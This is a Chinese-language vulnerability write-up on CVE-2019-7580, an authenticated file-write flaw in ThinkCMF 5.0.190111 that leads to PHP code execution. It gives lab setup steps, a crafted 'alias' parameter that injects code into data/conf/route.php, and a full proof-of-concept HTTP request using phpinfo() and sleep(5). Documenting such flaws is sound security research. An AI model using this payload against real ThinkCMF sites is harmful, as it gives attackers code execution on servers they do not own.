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CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md

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CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行

0x00 环境搭建

首先去thinkcmf下载5.0的最新版
https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip
切换到web根目录下,比如/var/www,然后新建一个目录:ThinkCMF-5.0.190111
把除public目录外的文件都移动到ThinkCMF-5.0.190111下。然后修改index.php,将其中的

define('CMF_ROOT', __DIR__ . '/../');

修改为

define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/');

然后一步步完成安装。
参考:https://blog.csdn.net/youaregoo/article/details/82219722

0x01 利用过程:

后台登录状态下,
1、将payload插入数据库并读取然后写入data/conf/route.php文件

POST /portal/admin_category/addpost.html
parent_id=0&name=111&alias=a'=>array(%22%22)%2csleep(5)%2c'b

2、然后访问:

/portal/admin_category/index.html

触发

include data/conf/route.php  

操作,执行payload。下图以执行sleep(5)作为演示。

POC

POST /portal/admin_category/addpost.html HTTP/1.1
Host: 192.168.170.209
Content-Length: 183
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=of2ar92rpeucrh4cg6s4t4dae6; admin_username=admin
Connection: close

parent_id=0&name=111&alias=1'%3D%3Earray(%22%22)%2Cphpinfo()%2C'2

测试demo

来源: https://xz.aliyun.com/t/3997